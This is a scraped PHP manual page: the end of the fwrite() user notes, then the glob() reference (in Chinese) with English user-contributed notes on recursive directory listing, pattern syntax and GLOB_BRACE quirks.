        $count = fread ($handle, filesize ($file));
        settype ($count,"integer");
}
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
    **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
MKP Dev 12-May-2005 05:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com 25-Mar-2005 06:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
sheyh 09-Feb-2005 09:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx 03-Feb-2005 11:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com 22-Dec-2004 09:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org 26-Oct-2004 03:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com 21-Aug-2003 03:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi 17-Jul-2003 02:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com 20-Jun-2003 02:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts 04-Jun-2003 11:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

Thus it will be successful on reading zero bytes but detect and error returned as FALSE.
Chris Blown 19-May-2003 03:12
Don't forget to check fwrite returns for errors! Just because you successfully opened a file for write, doesn't always mean you can write to it.

On some systems this can occur if the filesystem is full, you can still open the file and create the filesystem inode, but the fwrite will fail, resulting in a zero byte file.


寻找与模式匹配的文件路径

  • ? fwrite
  • is_dir ?
  • PHP Manual
  • 文件系统函数
  • 寻找与模式匹配的文件路径

glob

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

glob — 寻找与模式匹配的文件路径

说明

glob(string $pattern, int $flags = 0): array|false

glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern 匹配的文件路径，类似于一般 shells 所用的规则一样。

参数

pattern

匹配模式（pattern）。 不进行缩写扩展或参数替代。

特殊字符：

  • * - 匹配零个或多个字符。
  • ? - 只匹配单个字符（任意字符）。
  • [...] - 匹配一组字符中的一个字符。 如果第一个字符是 !，则为否定模式， 即匹配不在这组字符中的任意字符。
  • \ - 只要没有使用 GLOB_NOESCAPE 标记，该字符会转义后面的字符。

flags

有效标记有：

  • GLOB_MARK - 在每个返回的项目中加一个斜线
  • GLOB_NOSORT - 按照文件在目录中出现的原始顺序返回（不排序）
  • GLOB_NOCHECK - 如果没有文件匹配则返回用于搜索的模式
  • GLOB_NOESCAPE - 反斜线不转义元字符
  • GLOB_BRACE - 扩充 {a,b,c} 来匹配 'a'，'b' 或 'c'
  • GLOB_ONLYDIR - 仅返回与模式匹配的目录项
  • GLOB_ERR - 停止并读取错误信息（比如说不可读的目录），默认的情况下忽略所有错误

Note: GLOB_BRACE 在一些非 GNU 系统上无效，比如 Solaris 和 Alpine Linux 。

返回值

返回包含有匹配文件和目录的数组，没有匹配文件时返回空数组，出错返回 false。

Note:

在个别操作系统上，无法区分是否为空匹配或错误。

示例

Example #1 怎样用 glob() 方便地替代 opendir() 和相关函数

<?php
foreach (glob("*.txt") as $filename) {
echo "$filename size " . filesize($filename) . "\n";
}
?>

以上示例的输出类似于：

funclist.txt size 44686
funcsummary.txt size 267625
quickref.txt size 137820

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 此函数在一些系统上还不能工作（例如一些旧的 Sun OS）。

参见

  • opendir() - 打开目录句柄
  • readdir() - 从目录句柄中读取条目
  • closedir() - 关闭目录句柄
  • fnmatch() - 用模式匹配文件名

User Contributed Notes

David Spector 28-Nov-2022 01:45
Here is basic PHP code to do a recursive scan of an entire directory tree, allowing you to do processing when reaching each directory and file:

// Do a recursive scan of an entire directory tree,
// starting with the current working directory
// using relative filepaths
// Includes files starting with '.'
// Minimally tested on Windows and Linux

Scan('.');

function Scan($dir)
    {
    // Add code for each directory $dir here

    $subdirs=glob($dir.'/{.[!.],}*',GLOB_BRACE);
    foreach ($subdirs as $file)
        {
        if (is_file($file))
            {
            // Add code for each file $file here
            }
        else if (substr($file,0,1)!='./.')
            Scan($file);
        }
    } // Scan
Philo 09-Apr-2021 11:08
It is also possible to nest alternations like this:
<?php
foreach (glob("{$dir}/*.{[jJ][pP]{,[eE]}[gG],[tT][iI][fF]{,[fF]}}", GLOB_BRACE) as $file) {
    // finds both .jp(e)g and .tif(f) files
    // please note that you should double-check the file type, though
}
bitman at biitworks dot de 22-Mar-2021 07:22
Brackets in the pattern maust be bracketed:

Filename = " [Fail2Ban] recidive *.eml"

The pattern should be:

    $pattern = '[[]Fail2Ban[]] recidive *.eml';

Otherwise the brackets will be treated as character class identifier.
Anonymous 25-Jan-2021 12:25
Include dotfiles excluding . and .. special dirs with .[!.]*

<?php
$all_files = array_merge(glob('.[!.]*'), glob('*'));
// or
$all_files = glob('{.[!.],}*', GLOB_BRACE);
?>
davewho at nexicom dot net 29-Dec-2020 03:09
Note that if you use braces ie. /*.{gif,jpg,htm} then glob returns
gifs before jpgs before htm files rather than in filename sequence.
vincewansink at outlook dot com 17-Oct-2019 09:05
Note that when the documentation says the files will be returned in "alphabetical" order, you may not get the results you expect if your files are numbered.

For example, files will be returned in the following order:

file.1.txt
file.10.txt
file.2.txt

Not (as you might expect):

file.1.txt
file.2.txt
file.10.txt
simon at paragi dot dk 02-Jun-2016 07:31
This is a simple and versatile function that returns an array tree of files, matching wildcards:

<?php
// List files in tree, matching wildcards * and ?
function tree($path){
  static $match;

  // Find the real directory part of the path, and set the match parameter
  $last=strrpos($path,"/");
  if(!is_dir($path)){
    $match=substr($path,$last);
    while(!is_dir($path=substr($path,0,$last)) && $last!==false)
      $last=strrpos($path,"/",-1);
  }
  if(empty($match)) $match="/*";
  if(!$path=realpath($path)) return;

  // List files
  foreach(glob($path.$match) as $file){
    $list[]=substr($file,strrpos($file,"/")+1);
  }

  // Process sub directories
  foreach(glob("$path/*", GLOB_ONLYDIR) as $dir){
    $list[substr($dir,strrpos($dir,"/",-1)+1)]=tree($dir);
  }

  return @$list;
}
?>
sebastian dot wasser at gmail dot com 23-Apr-2016 11:50
I created a rglob function to support a '/**/' wildcard. You can even set the order to post-order or pre-order traversal.

<?php

function rglob ($pattern, $flags = 0, $traversePostOrder = false) {
    // Keep away the hassles of the rest if we don't use the wildcard anyway
    if (strpos($pattern, '/**/') === false) {
        return glob($pattern, $flags);
    }

    $patternParts = explode('/**/', $pattern);

    // Get sub dirs
    $dirs = glob(array_shift($patternParts) . '/*', GLOB_ONLYDIR | GLOB_NOSORT);

    // Get files for current dir
    $files = glob($pattern, $flags);

    foreach ($dirs as $dir) {
        $subDirContent = rglob($dir . '/**/' . implode('/**/', $patternParts), $flags, $traversePostOrder);

        if (!$traversePostOrder) {
            $files = array_merge($files, $subDirContent);
        } else {
            $files = array_merge($subDirContent, $files);
        }
    }

    return $files;
};

?>
sharshun dot aliaksandr at gmail dot com 04-Nov-2015 02:26
<?php

function glob_recursive($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*',
      GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}
// $a=glob_recursive('c:/test_directory/'."*.*");
// print_r($a);

function dirInfoReGet($s){
    $a=glob_recursive($s."*.*");
    $ar=glob_recursive($s."**/**");
    $arr=array_unique(array_merge($a, $ar));

    foreach ($arr as $v) {
        if (is_dir($v)) {
            $arra[0][]=$v.'/';
        } else {
            $arra[1][]=$v;
        }
    }
    sort($arra);
    return $arra;
}
$a=dirInfoReGet('c:/test_directory/');
print_r($a);

?>

http://i.stack.imgur.com/H7UF3.jpg

Best regards.
Anxiety35 at gmail dot com 01-Dec-2014 09:20
After fiddling with GLOB_BRACE a bunch, I have found the most items that can be included in the braces is about 10 before glob no longer returns any matches.

I have a scenario where there can be a thousand or more files to check for where I can't pattern match and need to check specific names. I was hoping to batch them in large groups to see if it would help performance. However, if I include more than 10 in a GLOB_BRACE the function will return FALSE.
rene dot rathmann at gmx dot de 02-Jan-2014 11:05
You can do a recursive file search with yield.

<?php
function findAllDirs($start) {
    $dirStack=[$start];
    while($dir=array_shift($dirStack)) {
        $ar=glob($dir.'/*',GLOB_ONLYDIR|GLOB_NOSORT);
        if(!$ar) continue;

        $dirStack=array_merge($dirStack,$ar);
        foreach($ar as $DIR)
            yield $DIR;
    }
}

$fname='*.php';
$result=[];
foreach(findAllDirs('/var/www/localhost') as $dir) {
    $match=glob($dir.'/'.$fname,GLOB_NOSORT);
    if(!$match) continue;
    $result=array_merge($result,$match);
}

print_r($result);
?>
soywiz at gmail dot com 26-Apr-2013 10:26
Recursive glob for PHP>=5.5

function globRecursive($path, $find) {
    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if (substr($file, 0, 1) == '.') continue;
        $rfile = "{$path}/{$file}";
        if (is_dir($rfile)) {
            foreach (globRecursive($rfile, $find) as $ret) {
                yield $ret;
            }
        } else {
            if (fnmatch($find, $file)) yield $rfile;
        }
    }
    closedir($dh);
}
bimal at sanjaal dot com 07-Mar-2013 04:28
To pick one of the file randomly from your directory with full physical path, you can write something like this:

<?php
function one_random_image_file()
{
    $files = glob('../images/*.jpg');
    shuffle($files);
    return realpath($files[0]);
}
$image_to_read = one_random_image_file();
?>
agd243 at gmail dot com 27-Jan-2013 02:45
A simple function that find all files by extension an return it by an array.
<?php
function findFiles($directory, $extensions = array()) {
    function glob_recursive($directory, &$directories = array()) {
        foreach(glob($directory, GLOB_ONLYDIR | GLOB_NOSORT) as $folder) {
            $directories[] = $folder;
            glob_recursive("{$folder}/*", $directories);
        }
    }
    glob_recursive($directory, $directories);
    $files = array ();
    foreach($directories as $directory) {
        foreach($extensions as $extension) {
            foreach(glob("{$directory}/*.{$extension}") as $file) {
                $files[$extension][] = $file;
            }
        }
    }
    return $files;
}
var_dump(findFiles("C:", array (

    "jpg",
    "pdf",
    "png",
    "html"
)));
?>
Gabriel S. Luraschi 30-Oct-2012 06:54
Use this to exclude hidden files on MS Windows.

<?php
exec("dir \"{$path}\" /A:-H /B", $result);
?>
ni dot pineau at gmail dot com 12-Oct-2012 04:08
Note that in case you are using braces with glob you might retrieve duplicated entries for files that matche more than one item :

<?php

$a = glob('/path/*{foo,bar}.dat',GLOB_BRACE);
print_r($a);

?>

Result :
Array
(
    [0] => /path/file_foo.dat
    [1] => /path/file_foobar.dat
    [2] => /path/file_foobar.dat
)
Sam Bryan 26-Apr-2012 04:13
glob is case sensitive, even on Windows systems.

It does support character classes though, so a case insensitive version of
<?php glob('my/dir/*.csv') ?>

could be written as
<?php glob('my/dir/*.[cC][sS][vV]') ?>
Mike 21-Nov-2011 07:48
<?php

if ( ! function_exists('glob_recursive'))
{
    // Does not support flag GLOB_BRACE

    function glob_recursive($pattern, $flags = 0)
    {
        $files = glob($pattern, $flags);

        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)
        {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }

        return $files;
    }
}

?>
mkas at destiny dot lt 05-Oct-2011 12:58
recursive file search

<?php
$path[] = 'starting_place/*';

while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
            $path[] = $item . '/*';
        elseif (is_file($item))
        {
             //do something
        }
    }
}
?>
Ultimater at gmail dot com 20-Mar-2011 11:44
glob() isn't limited to one directory:

<?php
$results=glob("{includes/*.php,core/*.php}",GLOB_BRACE);
echo '<pre>',print_r($results,true),'</pre>';
?>

Just be careful when using GLOB_BRACE regarding spaces around the comma:
{includes/*.php,core/*.php} works as expected, but
{includes/*.php, core/*.php} with a leading space, will only match the former as expected but not the latter
unless you have a directory named " core" on your machine with a leading space.
PHP can create such directories quite easily like so:
mkdir(" core");
david dot schueler at tel-billig dot de 15-Mar-2011 06:32
Don't use glob() if you try to list files in a directory where very much files are stored (>100.000). You get an "Allowed memory size of XYZ bytes exhausted ..." error.
You may try to increase the memory_limit variable in php.ini. Mine has 128MB set and the script will still reach this limit while glob()ing over 500.000 files.

The more stable way is to use readdir() on very large numbers of files:
<?php
// code snippet
if ($handle = opendir($path)) {
    while (false !== ($file = readdir($handle))) {
        // do something with the file
        // note that '.' and '..' is returned even
    }
    closedir($handle);
}
?>
troy at troyonline dot com 28-Feb-2011 09:50
If you have open_basedir set in php.ini to limit which files php can execute, glob(...) will return false when there are no matching files.  If open_basedir is not set, the very same code will return an empty array in the same situation.

This is unfortunate as a seemingly innocuous change causes different functionality that breaks code like:

foreach(glob("*.ext") as $file)
...

See this link if you have any questions as to why this is so:
http://bugs.php.net/bug.php?id=47358
peter dot adrianov at gmail dot com 14-May-2010 04:29
Non-recursive search files, proceeding down directory tree.

<?php
function scandir_through($dir)
{
    $items = glob($dir . '/*');

    for ($i = 0; $i < count($items); $i++) {
        if (is_dir($items[$i])) {
            $add = glob($items[$i] . '/*');
            $items = array_merge($items, $add);
        }
    }

    return $items;
}
?>
BigueNique at yahoo dot ca 08-May-2010 11:45
Here is the function array_prepend() used by my latest post of safe_glob().

<?php
/**
 * Prepends $string to each element of $array
 * If $deep is true, will indeed also apply to sub-arrays
 * @author BigueNique AT yahoo DOT ca
 * @since 080324
 */
function array_prepend($array, $string, $deep=false) {
    if(empty($array)||empty($string)) return $array;
    foreach($array as $key => $element)
        if(is_array($element))
            if($deep)
                $array[$key] = array_prepend($element,$string,$deep);
            else
                trigger_error('array_prepend: array element',E_USER_WARNING);
        else
            $array[$key] = $string.$element;
    return $array;

}
?>
wang yun 22-Sep-2009 06:00
A function to quickly remove a directory (works in seconds for a hundred thousand files)

<?php
/**
 * Remove the directory and its content (all files and subdirectories).
 * @param string $dir the directory name
 */
function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) {
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}
?>
uramihsayibok, gmail, com 04-Aug-2009 03:38
Those of you with PHP 5 don't have to come up with these wild functions to scan a directory recursively: the SPL can do it.

<?php

$dir_iterator = new RecursiveDirectoryIterator("/path");
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
// could use CHILD_FIRST if you so wish

foreach ($iterator as $file) {
    echo $file, "\n";
}

?>

Not to mention the fact that $file will be an SplFileInfo class, so you can do powerful stuff really easily:

<?php

$size = 0;
foreach ($iterator as $file) {
    if ($file->isFile()) {
        echo substr($file->getPathname(), 27) . ": " . $file->getSize() . " B; modified " . date("Y-m-d", $file->getMTime()) . "\n";
        $size += $file->getSize();
    }
}

echo "\nTotal file size: ", $size, " bytes\n";

?>

\Luna\luna.msstyles: 4190352 B; modified 2008-04-13
\Luna\Shell\Homestead\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\Metallic\shellstyle.dll: 362496 B; modified 2006-02-28
\Luna\Shell\NormalColor\shellstyle.dll: 361472 B; modified 2006-02-28
\Luna.theme: 1222 B; modified 2006-02-28
\Windows Classic.theme: 3025 B; modified 2006-02-28

Total file size: 5281063 bytes
endiku 29-Jul-2009 08:47
For those who need to recursively search a directory tree and cannot or wish not to call a function within itself here is another suggestion.

I tried the previously suggested listdirs_safe() and it didn't seem to find all subfolders in a directory tree.

There are two variations on the same theme.

Single Array.
<?php
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
      $d=array_merge($d,$dirs);
   }
}
?>

Multiple arrays.
<?php
$n=0;
$dir ='/dir';
while($dirs = glob($dir . '/*', GLOB_ONLYDIR)) {
  $dir .= '/*';
  if(!$d) {
     $d=$dirs;
   } else {
     $d[$n]=$dirs;
   }
  $n++;
}
?>

This will result in the glob looping via "dir/*/*/*/*.." until it is no longer finding a directory structure.
nuntius 06-Jul-2009 10:10
First off, it's nice to see all of the different takes on this. Thanks for all of the great examples.

Fascinated by the foreach usage I was curious how it might work with a for loop. I found that glob was well suited for this, especially compared to opendir.  The for loop is always efficient when you want to protect against a potential endless loop.

$dir=$_SERVER['DOCUMENT_ROOT']."/test/directory_listing/test";
    echo $dir;
    $filesArray=glob($dir."/*.*");

    $line.="<pre>";
    $line.=print_r($filesArray, true);
    $line.="</pre>";
    $line.="<hr>";

    for($i=0;$i<count($filesArray);$i++) {
        $line.=key($filesArray)." - ";
        $line.=$filesArray[$i]."<br/>";
         next($filesArray);
    }

    echo $line;

Note that I pulled the glob array keys if you should need them.

Also you can tweak it for searches with something like this... (case sensitive)

$search_names="Somedocname";
$filesArray=glob($dir."/".$search_names."*.*");

Enjoy!
sven at NOSPAM dot sven dot globalunix dot org 11-Jun-2009 09:22
If you want to use wildcard expressions (like they are used by glob() ) to search on strings, you can use this function:

<?php
function match_wildcard( $wildcard_pattern, $haystack ) {
   $regex = str_replace(
     array("\*", "\?"), // wildcard chars
     array('.*','.'),   // regexp chars
     preg_quote($wildcard_pattern)
   );

   return preg_match('/^'.$regex.'$/is', $haystack);
}

$test = "foobar and blob\netc.";
var_dump(
    match_wildcard('foo*', $test),      // TRUE
    match_wildcard('bar*', $test),      // FALSE
    match_wildcard('*bar*', $test),     // TRUE
    match_wildcard('**blob**', $test),  // TRUE
    match_wildcard('*a?d*', $test),     // TRUE
    match_wildcard('*etc**', $test)     // TRUE
);
?>
r dot hartung at roberthartung dot de 04-May-2009 12:34
You can use multiple asterisks with the glob() - function.

Example:

<?php
  $paths = glob('my/*/dir/*.php');
?>

$paths will contains paths as following examples:

- my/1/dir/xyz.php
- my/bar/dir/bar.php
- my/bar/dir/foo.php
crayonviolent at phpfreaks dot com 16-Jan-2009 11:50
Since I feel this is rather vague and non-helpful, I thought I'd make a post detailing the mechanics of the glob regex.

glob uses two special symbols that act like sort of a blend between a meta-character and a quantifier.  These two characters are the * and ?

The ? matches 1 of any character except a /
The * matches 0 or more of any character except a /

If it helps, think of the * as the pcre equivalent of .* and ? as the pcre equivalent of the dot (.)

Note: * and ? function independently from the previous character. For instance, if you do glob("a*.php") on the following list of files, all of the files starting with an 'a' will be returned, but * itself would match:

a.php // * matches nothing
aa.php // * matches the second 'a'
ab.php // * matches 'b'
abc.php // * matches 'bc'
b.php // * matches nothing, because the starting 'a' fails
bc.php // * matches nothing, because the starting 'a' fails
bcd.php // * matches nothing, because the starting 'a' fails

It does not match just a.php and aa.php as a 'normal' regex would, because it matches 0 or more of any character, not the character/class/group before it.

Executing glob("a?.php") on the same list of files will only return aa.php and ab.php because as mentioned, the ? is the equivalent of pcre's dot, and is NOT the same as pcre's ?, which would match 0 or 1 of the previous character.

glob's regex also supports character classes and negative character classes, using the syntax [] and [^]. It will match any one character inside [] or match any one character that is not in [^].

With the same list above, executing

glob("[ab]*.php) will return (all of them):
a.php  // [ab] matches 'a', * matches nothing
aa.php // [ab] matches 'a', * matches 2nd 'a'
ab.php // [ab] matches 'a', * matches 'b'
abc.php // [ab] matches 'a', * matches 'bc'
b.php // [ab] matches 'b', * matches nothing
bc.php // [ab] matches 'b', * matches 'c'
bcd.php // [ab] matches 'b', * matches 'cd'

glob("[ab].php") will return a.php and b.php

glob("[^a]*.php") will return:
b.php // [^a] matches 'b', * matches nothing
bc.php // [^a] matches 'b', * matches 'c'
bcd.php // [^a] matches 'b', * matches 'cd'

glob("[^ab]*.php") will return nothing because the character class will fail to match on the first character.

You can also use ranges of characters inside the character class by having a starting and ending character with a hyphen in between.  For example, [a-z] will match any letter between a and z, [0-9] will match any (one) number, etc..

glob also supports limited alternation with {n1, n2, etc..}.  You have to specify GLOB_BRACE as the 2nd argument for glob in order for it to work.  So for example, if you executed glob("{a,b,c}.php", GLOB_BRACE) on the following list of files:

a.php
b.php
c.php

all 3 of them would return.  Note: using alternation with single characters like that is the same thing as just doing glob("[abc].php").  A more interesting example would be glob("te{xt,nse}.php", GLOB_BRACE) on:

tent.php
text.php
test.php
tense.php

text.php and tense.php would be returned from that glob.

glob's regex does not offer any kind of quantification of a specified character or character class or alternation.  For instance, if you have the following files:

a.php
aa.php
aaa.php
ab.php
abc.php
b.php
bc.php

with pcre regex you can do ~^a+\.php$~ to return

a.php
aa.php
aaa.php

This is not possible with glob.  If you are trying to do something like this, you can first narrow it down with glob, and then get exact matches with a full flavored regex engine.  For example, if you wanted all of the php files in the previous list that only have one or more 'a' in it, you can do this:

<?php
   $list = glob("a*.php");
   foreach ($list as $l) {
      if (preg_match("~^a+\.php$~",$file))
         $files[] = $l;
   }
?>

glob also does not support lookbehinds, lookaheads, atomic groupings, capturing, or any of the 'higher level' regex functions.

glob does not support 'shortkey' meta-characters like \w or \d.
carlos dot lage at nospam at foo dot bar at gmail dot com 17-Oct-2008 06:18
I lost hours looking for the solution for this problem.
glob() wasn't eating up my directory names (stuff like "foobar[]"), and I searched online for some hours, I tried preg_quote to no avail.

I finally found the proper way to escape stuff in glob() in an obscure Python mailing list:

<?php
preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path);
?>

If you want to add a directory path before your pattern, you should do it like this:

<?php
glob(preg_replace('/(\*|\?|\[)/', '[$1]', $dir_path).'*.txt');
?>
preg_quote WILL NOT work in all cases (if any).
heavyraptor at gmail dot com 19-May-2008 04:56
glob() (array_sum() and array_map() in fact too) can be very useful if you want to calculate the sum of all the files' sizes located in a directory:

<?php
$bytes = array_sum(array_map('filesize',glob('*')));
?>

Unfortunately there's no way to do this recursively, using glob() (as far as I know).
pope at q dot com 23-Apr-2008 06:08
alan at ridersite dot org 18-Mar-2007 03:26 -- Stated '*.*' is the same as '*' -- This is not true as * alone will return directories too and *.* will only return files with an extension such as .pdf or .doc or .php.
alan at synergymx dot com 15-Apr-2008 12:08
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2;

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
eric at muyser dot com 11-Apr-2008 08:31
As a follow up to recursively determining all paths (by viajy at yoyo dot org) and opendir being faster than glob (by Sam Yong - hellclanner at live [dot] com).

The list all dirs code didn't seem to work, at least on my server (provided by parazuce [at] gmail [dot] com).

I needed a function to create an unlimited multidimensional array, with the names of the folders/files intact (no realpath's, although that is easily possible). This is so I can simply loop through the array, create an expandable link on the folder name, with all the files inside it.

This is the correct way to recurse I believe (no static, return small arrays to build up the multidimensional array), and includes a check for files/folders beginning with dots.

// may need modifications

function list_files($path)
{
    $files = array();

    if(is_dir($path))
    {
        if($handle = opendir($path))
        {
            while(($name = readdir($handle)) !== false)
            {
                if(!preg_match("#^\.#", $name))
                if(is_dir($path . "/" . $name))
                {
                    $files[$name] = list_files($path . "/" . $name);
                }
                else
                {
                    $files[] = $name;
                }
            }

            closedir($handle);
        }
    }

    return $files;
}

print_r(list_files("/path/to/folder"));

// example usage

function list_html($list)
{
    $html = "";

    foreach($list as $folder => $file)
    {
        if(is_array($list[$folder]))
        {
            $html .= "> (folder) " . $folder . "<br>";
            $html .= list_html($list[$folder]);
        }
        else
        {
            $html .= " (file) " . $file . "<br>";
        }
    }

    return $html;
}

echo list_html(list_files("/path/to/folder"));
parazuce [at] gmail [dot] com 30-Mar-2008 05:47
As a response to a post by viajy at yoyo dot org on 10-Feb-2007 04:50, he posted the following code:
<?php
function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}
?>

It is not best practice to use recursive functions like that, so I wrote a safe (non-recursive) function below:

<?php
function listdirs_safe($start)
{
    $dir  = $start;
    $dirs = array();
    $next = 0;

    while (true)
    {
        $_dirs = glob($dir.'/*', GLOB_ONLYDIR);

        if (count($_dirs) > 0)
        {
            foreach ($_dirs as $key => $_dir)
                $dirs[] = $_dir;
        }
        else
            break;

        $dir = $dirs[$next++];
    }

    return $dirs;
}
?>

Example:

print_r(listdirs_safe('*'));

Output:
Array
(
    [0] => Dummy folder/Dummy folder 2
    [1] => Dummy folder/Dummy folder 2/Dummy Folder 3
    [2] => Dummy folder/Dummy folder 2/Dummy Folder 3/4
    [3] => Dummy folder/Dummy folder 2/Dummy Folder 3/Dummy folder 4
    [4] => Dummy folder/Dummy folder 2/Dummy Folder 3/4/5
)
nataxia at gmail dot com 07-May-2007 04:05
Something I used to sort dir & subdir into array (multidimensional) reflecting dir structure.

    function getRecursiveFolderList($curDir,$currentA=false)
      {
        $dirs = glob($curDir . '/*', GLOB_ONLYDIR);

        $cur = 0;
        foreach($dirs as $dir)
          {
            $currentA[$cur]['path'] = $dir;
            $currentA[$cur] = $this->getRecursiveFolderList($dir,$currentA[$cur]);

            ++$cur;
          }

        return $currentA;
      }
alan at ridersite dot org 18-Mar-2007 11:26
A couple of notes:
glob() handles symbolic filesystem links and resolves references to './', '../'  nicely and handles an extra '/' character , at least on X-systems. e.g., glob("../*") will do next higher dir.

This is good to use so warnings or errors show as "../foo" and not your system's full path.

